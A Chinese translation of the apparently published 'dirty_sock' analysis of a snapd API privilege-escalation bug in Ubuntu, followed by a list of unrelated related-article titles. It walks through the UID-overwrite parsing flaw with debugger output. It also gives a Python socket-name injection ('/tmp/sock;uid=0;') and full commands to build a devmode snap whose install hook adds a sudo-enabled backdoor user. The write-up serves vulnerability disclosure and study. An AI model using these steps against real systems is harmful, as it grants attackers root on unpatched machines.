2019年1月,由于默认安装的服务snapd API中的一个bug,通过默认安装的Ubuntu Linux被发现存在特权提升漏洞,任何本地用户都可以利用此漏洞直接获取root权限。

概述

首先在此提供dirty_sock代码仓库中两个有效的exploit:dirty_sockv1:基于Ubuntu SSO的详细信息,使用create-user API创建本地用户。

dirty_sockv2:侧加载snap,其中包含生成新本地用户的install hook。

两者都对默认安装的Ubuntu有效。大部分测试是在18.10版本完成的,不过旧版本也受改漏洞影响。值得一提的是,snapd团队对此漏洞回应迅速且处理妥善。直接与他们合作也是非常愉快。

snapd提供了附加到本地UNIX_AF socket的REST API,通过查询与该socket连接的关联UID来实现对API的访问控制。在for循环进行字符串解析的过程中,用户可控的socket数据可以覆盖UID变量,从而允许任何用户访问任何API函数。而通过访问API,有多种方法可以获取root权限,上面链接的exploit就展示了两种可能性。

背景:什么是snap?

为了简化Linux系统上的打包应用程序,各种新的竞争标准纷纷出现。作为其中的一个发行版,Ubuntu Linux的开发商Canonical也在推广他们的“Snap”,类似于Windows应用程序,snap将所有应用程序依赖项转换为单个二进制文件。

Snap生态包含一个“应用商店”,开发人员可以在其中发布和维护即时可用的软件包。

本地的snap和在线商店的通信部分由系统服务“snapd”处理。此服务自动安装在Ubuntu中,并在“root”用户的上下文中运行。Snapd正在发展成为Ubuntu操作系统的重要组成部分,特别是在用于云和物联网的“Snappy Ubuntu Core”等更精简的发行版中。

漏洞总览

有趣的Linux操作系统信息

snapd服务在位于/lib/systemd/system/snapd.service的unit文件中被描述。

以下是前几行:[Unit]

Description=Snappy daemon

Requires=snapd.socket

顺着这个我们找到systemd socket unit文件,位于/lib/systemd/system/snapd.socket,其中提供了一些有趣的信息:[Socket]

ListenStream=/run/snapd.socket

ListenStream=/run/snapd-snap.socket

SocketMode=0666

Linux通过称为“AF_UNIX”的socket在同一台机器上的进程之间进行通信。“AF_INET”和“AF_INET6”socket则用于通过网络连接的进程通信。上面显示的内容告诉我们系统创建了两个socket文件。'0666'模式则为所有人设置文件读写权限,只有这样才可以允许任何进程连接并进行socket通信。

我们可以通过文件系统在查看这些socket文件:$ ls -aslh /run/snapd*

0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd-snap.socket

0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd.socket

我们可以通过Linux中的nc工具(只要是BSD风格)连接到像这样的AF_UNIX socket。以下是一个示例。$ nc -U /run/snapd.socket

HTTP/1.1 400 Bad Request

Content-Type: text/plain; charset=utf-8

Connection: close

400 Bad Request

碰巧,攻击者在入侵计算机后要做的第一件事就是查找在root上下文中运行的隐藏服务,HTTP服务器是利用的主要目标,而它们通常与网络套接字有关。

现在我们知道有一个很好的利用目标 - 一个隐藏可能没有被广泛测试的HTTP服务。另外,我正在开发一个提权工具uptux,该工具可识别出此漏洞。

存在漏洞的代码

作为一个开源项目,我们利用源代码继续进行静态分析。开发人员提供了有关此REST API的文档。

对于利用而言,一个非常需要的API函数是“POST/v2/create-user”,简称为“创建本地用户”。文档告诉我们这个调用需要root权限才能执行。那么守护进程究竟是如何确定访问API的用户是否已经拥有root权限?

顺着代码我们找到了这个文件,现在来看这一行:ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)

这是调用golang的标准库之一,用来收集与套接字连接相关的用户信息。基本上,AF_UNIX socket系列有一个选项,可以在附加数据中接收发送过程的凭据(请参阅Linux命令行中的man unix)。这是确定访问API的进程权限的一种相当可靠的方法。

通过使用名为delve的golang调试器,我们可以确切地看到上文执行“nc”命令时返回的内容。下面是在此函数中设置断点时调试器的输出,然后使用delve的“print”命令来显示变量“ucred”当前包含的内容:> github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept()

...

109:ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)

=> 110:if err != nil {

...

(dlv) print ucred

*syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}

不错。它知道了我的uid为1000,即将拒绝我访问敏感的API函数。如果程序在这种状态下调用这些变量,那么结果就符合预期了,然而事实并非如此。

其实在此函数中还包含一些额外的处理,其中连接信息与上面发现的值会一起被添加到一个新对象:func (wc *ucrednetConn) RemoteAddr() net.Addr {

return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket}

}

这些值被拼接成一个字符串变量:func (wa *ucrednetAddr) String() string {

return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr)

}

最后经由函数解析,字符串再次被分解为单个变量func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) {

...

for _, token := range strings.Split(remoteAddr, ";") {

var v uint64

...

} else if strings.HasPrefix(token, "uid=") {

if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {

uid = uint32(v)

} else {

break

}

最后一个函数的作用是将字符串用“;”字符拆分,然后查找以“uid =”开头的任何内容。当它遍历完所有拆分时,第二次出现的“uid =”会覆盖掉第一个。

所以如果我们能以某种方式将任意文本注入此函数中...

回到delve调试器,我们可以查看一下“remoteAddr”字符串,看看在实现正确的HTTP GET请求的“nc”连接中它包含了什么:

请求:$ nc -U /run/snapd.socket

GET / HTTP/1.1

Host: 127.0.0.1

调试器输出:github.com/snapcore/snapd/daemon.ucrednetGet()

...

=>  41:for _, token := range strings.Split(remoteAddr, ";") {

...

(dlv) print remoteAddr

"pid=5127;uid=1000;socket=/run/snapd.socket;@"

现在的情况是,我们有一个字符串变量,其中所有变量都拼接在一起,该字符串包含四个元素。第二个元素“uid = 1000”是当前控制权限的内容。

函数将此字符串通过“;”拆分并迭代,如果字符串包含“uid=”),则可能会覆盖第一个“uid =”。

第一个(socket=/run/snapd.socket)是用来监听socket的本地“网络地址”:是服务所定义的绑定文件路径。我们无法修改snapd,也无法让其使用另一个socket名来运行。但是字符串末尾的“@”符号是什么? 这个是从哪里来的?变量名“remoteAddr”给了一个很好的提示。在调试器中费了些周折,我们可以看到golang标准库(net.go)返回本地网络地址和远程地址。你可以在下面的调试会话中看到输出为“laddr”和“raddr”。> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f)

...

=> 210:func (c *conn) LocalAddr() Addr {

...

(dlv) print c.fd

...

laddr: net.Addr(*net.UnixAddr) *{

Name: "/run/snapd.socket",

Net: "unix",},

raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}

远程地址会被设置为神秘的@符号。进一步阅读man unix帮助信息后,我们了解到这与“抽象命名空间”有关,用来绑定独立于文件系统的socket。命名空间中的socket开头为null-byte,该字符在终端中通常会显示为@。

我们可以创建绑定到我们控制的文件名的socket,而不依赖netcat利用的抽象套接字命名空间。这应该允许我们影响想要修改的字符串变量的最后部分,也就是上文的“raddr”变量。

使用一些python代码,我们可以创建一个包含“;uid=0;”字符串的文件名,通过socket绑定该文件,来启动与snapd API的连接。

以下为PoC代码片段:## 设置包含payload的socket名称

sockfile = "/tmp/sock;uid=0;"

## 绑定socket

client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

client_sock.bind(sockfile)

## 连接到snap守护进程

client_sock.connect('/run/snapd.socket')

现在再看一下remoteAddr变量,观察调试器中发生的事情:> github.com/snapcore/snapd/daemon.ucrednetGet()

...

=>  41:for _, token := range strings.Split(remoteAddr, ";") {

...

(dlv) print remoteAddr

"pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"

我们注入了一个假的uid 0,即root用户,它会在最后一次迭代中覆盖实际的uid。这样我们就能够访问API的受保护功能。

在调试器中继续观察来验证这一点,并看到uid被设置为0:> github.com/snapcore/snapd/daemon.ucrednetGet()

...

=>  65:return pid, uid, socket, err

...

(dlv) print uid

0

武器化使用

版本一

dirty_sockv1利用的是“POST/v2/create-user”这个API函数。要利用该漏洞,我们只需在Ubuntu SSO上创建一个账户,然后将SSH公钥上传到账户目录中,接下来使用如下命令来利用漏洞(使用注册的邮箱和关联的SSH私钥):$ dirty_sockv1.py -u 你的@邮箱.com -k id_rsa

这种方法是非常可靠的,可以安全执行。你可以止步这里并自己尝试获得root权限。

还在看? 好吧,对互联网连接和SSH服务的要求一直在变,我想看看我是否可以在更受限制的环境中利用。这导致我们有了版本二。

版本二

dirty_sockv2使用了“POST/v2/snaps” API来侧加载snap,该snap中包含一个bash脚本,可以添加一个本地用户。这个版本适用于没有运行SSH服务的系统,也适用于没有互联网连接的新版Ubuntu。然而,侧加载需要一些核心snap依赖,如果不存在这些依赖,可能会触发snapd服务的更新操作。这个场景下,我发现这个版本仍然有效,但只能使用一次。

snap本身运行在沙箱环境中,并且数字签名需要匹配主机已信任的公钥。然而我们可以通过处于开发模式(“devmode”)的snap来降低这些限制条件,这样snap就能像其他应用那样访问主机操作系统。

此外snap引入了“hooks”机制,其中“install hook”会在snap安装时运行,并且“install hook”可以是一个简单的shell脚本。如果snap配置为“devmode”,那么这个hook会在root上下文中运行。

我创建了一个简单的snap,该snap没有其他功能,只是会在安装阶段执行的一个bash脚本。

该脚本会运行如下命令:useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash

usermod -aG sudo dirty_sock

echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

上面加密字符串只是使用Python crypt.crypt()函数处理“dirty_sock”所创建的文本。

以下命令显示了详细创建此快照的过程,这都是在开发机器上完成的,而不是目标机器。snap创建完毕后,我们可以将其转换为base64文本,以便包含到完整的python利用代码中。## 安装必要工具

sudo apt install snapcraft -y

## 创建空目录

cd /tmp

mkdir dirty_snap

cd dirty_snap

## 初始化目录作为snap项目

snapcraft init

## 设置安装hook

mkdir snap/hooks

touch snap/hooks/install

chmod a+x snap/hooks/install

## 写下我们想要以root执行的脚本

cat > snap/hooks/install << "EOF"

#!/bin/bash

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash

usermod -aG sudo dirty_sock

echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

EOF

## 配置snap yaml文件

cat > snap/snapcraft.yaml << "EOF"

name: dirty-sock

version: '0.1'

summary: Empty snap, used for exploit

description: |

See https://github.com/initstring/dirty_sock

grade: devel

confinement: devmode

parts:

my-part:

plugin: nil

EOF

## 搭建snap

snapcraft

一旦有了snap文件,我们就可以通过bash将它转换为base64,如下所示:$ base64

base64编码的文本可以放在dirty_sock.py漏洞利用代码开头的全局变量“TROJAN_SNAP”中。

漏洞利用代码本身是用python中写的,可以执行以下操作:1.创建一个文件,文件名包含";uid=0;"

2.将socket绑定到该文件

3.连接到snap API

4.删除(上次留下的)snap

5.(在install hook将运行时)安装snap

6.删除snap

7.删除临时socket文件

8.提示祝你利用成功

预防和补救措施

打上补丁,snapd团队在披露后迅速修复了漏洞。

*参考来源:shenaniganslabs,thehackernews,FB小编Covfefe编译,转载请注明来自FreeBuf.COM

linux polkitd 漏洞,Ubuntu Linux中的特权提升漏洞Dirty Sock分析(含PoC)相关推荐

  1. 是什么 通信中unit_Ubuntu Linux中的特权提升漏洞Dirty Sock分析(含PoC)

    2019年1月,由于默认安装的服务snapd API中的一个bug,通过默认安装的Ubuntu Linux被发现存在特权提升漏洞,任何本地用户都可以利用此漏洞直接获取root权限. 概述 首先在此提供 ...

  2. NetLogon特权提升漏洞(CVE-2020-1472)复现及问题解决

    NetLogon特权提升漏洞(CVE-2020-1472)复现 漏洞描述 2020年08月12日,Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告,该漏洞编号为 CVE-2020 ...

  3. CVE-2020-1472 | Netlogon 特权提升漏洞预警

    CVE-2020-1472 | Netlogon 特权提升漏洞预警 CVE-2020-1472 | Netlogon 特权提升漏洞预警 https://www.cnblogs.com/micr067/ ...

  4. CVE-2020-1472 Netlogon特权提升漏洞分析及复现

    0x01漏洞背景 NetLogon远程协议是一种在Windows 域控上使用的RPC 接口,被用于各种与用户和机器认证相关的任务.最常用于让用户使用NTLM协议登录服务器,也用于NTP响应认证以及更新 ...

  5. Netlogon特权提升漏洞

    0x01 漏洞概要 2020年8月11日,Microsoft公司发布安全公告,公布了Netlogon 特权提升漏洞(CVE-2020-1472)的相关信息.12日起,各大安全研究团队纷纷对该漏洞作出漏 ...

  6. CVE-2020-1472: NetLogon特权提升漏洞通告

    1. CVE-2020-1472简要分析 阅读量    102057 | 分享到:       https://www.anquanke.com/post/id/217475 发布时间:2020-09 ...

  7. 超三万台电脑遭新恶意软件感染、联想修复特权提升漏洞|12月20日全球网络安全热点

    安全资讯报告 黑客在赎金被拒绝后在"暗网"上泄露了英国警方的机密数据 据英国<每日邮报>报道,英国一些警察部队持有的机密信息在一次令人尴尬的安全漏洞中被黑客窃取. 网络 ...

  8. 【微软漏洞分析】MS15-023 Win32k 特权提升漏洞 - CVE-2015-0078 + 绕过(CVE-2015-2527 in MS15-097)

    目录 MS15-023 CVE-2015-0078 微软漏洞描述 漏洞作者分析 补丁分析 win32k.sys NtUserGetClipboardAccessToken 重点分析 PoC分析 MS1 ...

  9. 微软NetLogon特权提升漏洞复现(CVE-2020-1472)

    2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞 的风险通告.攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限.成功 ...

  10. CVE-2020-0108 安卓前台服务特权提升漏洞

    文章目录 前言 正常前台服务 创建流程 实例程序 CVE-2020-0108 漏洞点A 漏洞点B 修复方案 总结 前言 前面一篇文章:Android应用自启动保活手段与安全现状分析 介绍了 Andro ...

最新文章

  1. BAT教程 第三节(FOR命令中的变量)
  2. 目标驱动的软件度量(选译)
  3. SQL 注入式攻击的本质
  4. Judge Complex(判断-复杂)
  5. Spring MVC+Spring+Mybatis+MySQL(IDEA)入门框架搭建
  6. java国王毒酒答案,换换脑子500桶酒国王用囚犯找毒酒答案-500桶酒其中1桶是毒酒找毒酒答案最新版【附公式详解】-东坡下载...
  7. 3.8 Softmax 回归
  8. 2022年最新版java 8(jdk1.8u321)下载及安装
  9. 淘宝网发展史:揭开神秘组织的技术内幕与艰辛历程
  10. OSI七层模型与TCP/IP五层模型
  11. OP-TEE中的线程管理(一)
  12. 有重复组合公式及其证明方法
  13. 谁说大象不能跳舞读后感
  14. 《孙子兵法》帮你找到合格的管理者
  15. JAVA 创建文件和文件夹,删除文件和文件夹的实用工具(转载自-张长胜)
  16. 初夏小谈:浅谈字节序,TCP,UDP协议
  17. js 各省市地名数据(包含各省市区域代码)(未测试)
  18. 【Leetcode】431. Encode N-ary Tree to Binary Tree(困难)
  19. 在anaconda设置Python的IDEL编辑器
  20. Teradata 数据库介绍

热门文章

  1. excel 分组统计
  2. 生物医学工程实用在线工具
  3. 顺风车这么难搞,滴滴为何从不放弃?
  4. word去掉自动编号格式但保留原编号内容(宏命令)
  5. Leetcode 惊现马化腾每天刷题?为啥大佬都这么努力!
  6. 微信二维码扫码登录思路
  7. 虚拟机安装win7 64位教程
  8. Python初学笔记(4)
  9. 二项分布(一种离散分布)
  10. 计算机组成原理:时钟周期、机器周期和指令周期